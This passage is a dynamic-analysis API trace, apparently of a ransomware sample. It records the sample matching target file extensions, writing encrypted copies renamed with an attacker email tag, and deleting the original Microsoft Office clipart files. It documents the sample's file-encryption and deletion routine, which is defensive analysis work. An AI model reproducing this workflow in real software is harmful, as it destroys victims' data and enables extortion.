Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0074.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0074.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0074.566] lstrlenW (lpString=".doc") returned 4 [0074.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.566] lstrlenW (lpString=".docx") returned 5 [0074.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.566] lstrlenW (lpString=".pdf") returned 4 [0074.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.567] lstrlenW (lpString=".xls") returned 4 [0074.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.567] lstrlenW (lpString=".xlsx") returned 5 [0074.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.567] lstrlenW (lpString=".ppt") returned 4 [0074.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0074.567] lstrlenW (lpString=".zip") returned 4 [0074.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.567] lstrlenW (lpString=".rar") returned 4 [0074.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.567] lstrlenW (lpString=".bz2") returned 4 [0074.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.567] lstrlenW (lpString=".7z") returned 3 [0074.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0074.567] lstrlenW (lpString=".dbf") returned 4 [0074.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0074.567] lstrlenW (lpString=".1cd") returned 4 [0074.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0074.567] lstrlenW (lpString=".jpg") returned 4 [0074.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.568] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.568] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.568] GetLastError () returned 0x0 [0074.568] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x13ea, lpOverlapped=0x0) returned 1 [0074.570] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x13f0, lpOverlapped=0x0) returned 1 [0074.571] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.571] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.571] SetEndOfFile (hFile=0x378) returned 1 [0074.572] CloseHandle (hObject=0x378) returned 1 [0074.572] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.572] SetEndOfFile (hFile=0x390) returned 1 [0074.573] CloseHandle (hObject=0x390) returned 1 [0074.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0074.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0074.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0074.574] lstrlenW (lpString=".doc") returned 4 [0074.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.574] lstrlenW (lpString=".docx") returned 5 [0074.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.574] lstrlenW (lpString=".pdf") returned 4 [0074.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.574] lstrlenW (lpString=".xls") returned 4 [0074.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.574] lstrlenW (lpString=".xlsx") returned 5 [0074.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.574] lstrlenW (lpString=".ppt") returned 4 [0074.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0074.574] lstrlenW (lpString=".zip") returned 4 [0074.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.574] lstrlenW (lpString=".rar") returned 4 [0074.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.575] lstrlenW (lpString=".bz2") returned 4 [0074.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.575] lstrlenW (lpString=".7z") returned 3 [0074.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0074.575] lstrlenW (lpString=".dbf") returned 4 [0074.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0074.575] lstrlenW (lpString=".1cd") returned 4 [0074.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0074.575] lstrlenW (lpString=".jpg") returned 4 [0074.575] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.577] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.577] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.577] GetLastError () returned 0x0 [0074.577] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x22de, lpOverlapped=0x0) returned 1 [0074.579] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x22e0, lpOverlapped=0x0) returned 1 [0074.580] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.581] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.581] SetEndOfFile (hFile=0x378) returned 1 [0074.581] CloseHandle (hObject=0x378) returned 1 [0074.581] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.581] SetEndOfFile (hFile=0x390) returned 1 [0074.582] CloseHandle (hObject=0x390) returned 1 [0074.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0074.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0074.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0074.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0074.583] lstrlenW (lpString=".doc") returned 4 [0074.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0074.583] lstrlenW (lpString=".docx") returned 5 [0074.583] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0074.583] lstrlenW (lpString=".pdf") returned 4 [0074.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0074.584] lstrlenW (lpString=".xls") returned 4 [0074.584] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0074.584] lstrlenW (lpString=".xlsx") returned 5 [0074.584] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0074.584] lstrlenW (lpString=".ppt") returned 4 [0074.584] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0074.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0074.584] lstrlenW (lpString=".zip") returned 4 [0074.584] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0074.584] lstrlenW (lpString=".rar") returned 4 [0074.584] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0074.584] lstrlenW (lpString=".bz2") returned 4 [0074.584] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0074.584] lstrlenW (lpString=".7z") returned 3 [0074.584] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0074.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0074.584] lstrlenW (lpString=".dbf") returned 4 [0074.584] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0074.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0074.584] lstrlenW (lpString=".1cd") returned 4 [0074.584] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0074.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0074.584] lstrlenW (lpString=".jpg") returned 4 [0074.584] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0074.585] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.585] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0074.586] GetLastError () returned 0x0 [0074.586] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x43fe, lpOverlapped=0x0) returned 1 [0074.796] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x4400, lpOverlapped=0x0) returned 1 [0074.998] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0074.998] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0074.998] SetEndOfFile (hFile=0x378) returned 1 [0074.999] CloseHandle (hObject=0x378) returned 1 [0074.999] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0074.999] SetEndOfFile (hFile=0x390) returned 1 [0075.000] CloseHandle (hObject=0x390) returned 1 [0075.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0075.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0075.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0075.001] lstrlenW (lpString=".doc") returned 4 [0075.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.001] lstrlenW (lpString=".docx") returned 5 [0075.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.001] lstrlenW (lpString=".pdf") returned 4 [0075.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.001] lstrlenW (lpString=".xls") returned 4 [0075.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.001] lstrlenW (lpString=".xlsx") returned 5 [0075.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.001] lstrlenW (lpString=".ppt") returned 4 [0075.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0075.001] lstrlenW (lpString=".zip") returned 4 [0075.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.002] lstrlenW (lpString=".rar") returned 4 [0075.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.002] lstrlenW (lpString=".bz2") returned 4 [0075.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.002] lstrlenW (lpString=".7z") returned 3 [0075.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0075.002] lstrlenW (lpString=".dbf") returned 4 [0075.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0075.003] lstrlenW (lpString=".1cd") returned 4 [0075.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0075.003] lstrlenW (lpString=".jpg") returned 4 [0075.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.003] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.004] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.004] GetLastError () returned 0x0 [0075.004] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x2332, lpOverlapped=0x0) returned 1 [0075.006] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x2340, lpOverlapped=0x0) returned 1 [0075.007] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.007] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.007] SetEndOfFile (hFile=0x378) returned 1 [0075.007] CloseHandle (hObject=0x378) returned 1 [0075.007] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.008] SetEndOfFile (hFile=0x390) returned 1 [0075.009] CloseHandle (hObject=0x390) returned 1 [0075.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0075.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0075.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0075.010] lstrlenW (lpString=".doc") returned 4 [0075.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.010] lstrlenW (lpString=".docx") returned 5 [0075.010] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.010] lstrlenW (lpString=".pdf") returned 4 [0075.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.010] lstrlenW (lpString=".xls") returned 4 [0075.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.010] lstrlenW (lpString=".xlsx") returned 5 [0075.010] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.010] lstrlenW (lpString=".ppt") returned 4 [0075.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0075.010] lstrlenW (lpString=".zip") returned 4 [0075.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.010] lstrlenW (lpString=".rar") returned 4 [0075.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.010] lstrlenW (lpString=".bz2") returned 4 [0075.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.010] lstrlenW (lpString=".7z") returned 3 [0075.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0075.011] lstrlenW (lpString=".dbf") returned 4 [0075.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0075.011] lstrlenW (lpString=".1cd") returned 4 [0075.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0075.011] lstrlenW (lpString=".jpg") returned 4 [0075.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.011] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.012] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.013] GetLastError () returned 0x0 [0075.013] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x3690, lpOverlapped=0x0) returned 1 [0075.015] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x36a0, lpOverlapped=0x0) returned 1 [0075.017] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.017] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.017] SetEndOfFile (hFile=0x378) returned 1 [0075.017] CloseHandle (hObject=0x378) returned 1 [0075.017] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.017] SetEndOfFile (hFile=0x390) returned 1 [0075.018] CloseHandle (hObject=0x390) returned 1 [0075.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0075.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0075.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0075.020] lstrlenW (lpString=".doc") returned 4 [0075.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.020] lstrlenW (lpString=".docx") returned 5 [0075.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.020] lstrlenW (lpString=".pdf") returned 4 [0075.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.020] lstrlenW (lpString=".xls") returned 4 [0075.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.020] lstrlenW (lpString=".xlsx") returned 5 [0075.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.020] lstrlenW (lpString=".ppt") returned 4 [0075.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0075.020] lstrlenW (lpString=".zip") returned 4 [0075.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.020] lstrlenW (lpString=".rar") returned 4 [0075.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.020] lstrlenW (lpString=".bz2") returned 4 [0075.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.021] lstrlenW (lpString=".7z") returned 3 [0075.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0075.021] lstrlenW (lpString=".dbf") returned 4 [0075.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0075.021] lstrlenW (lpString=".1cd") returned 4 [0075.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.021] lstrlenW 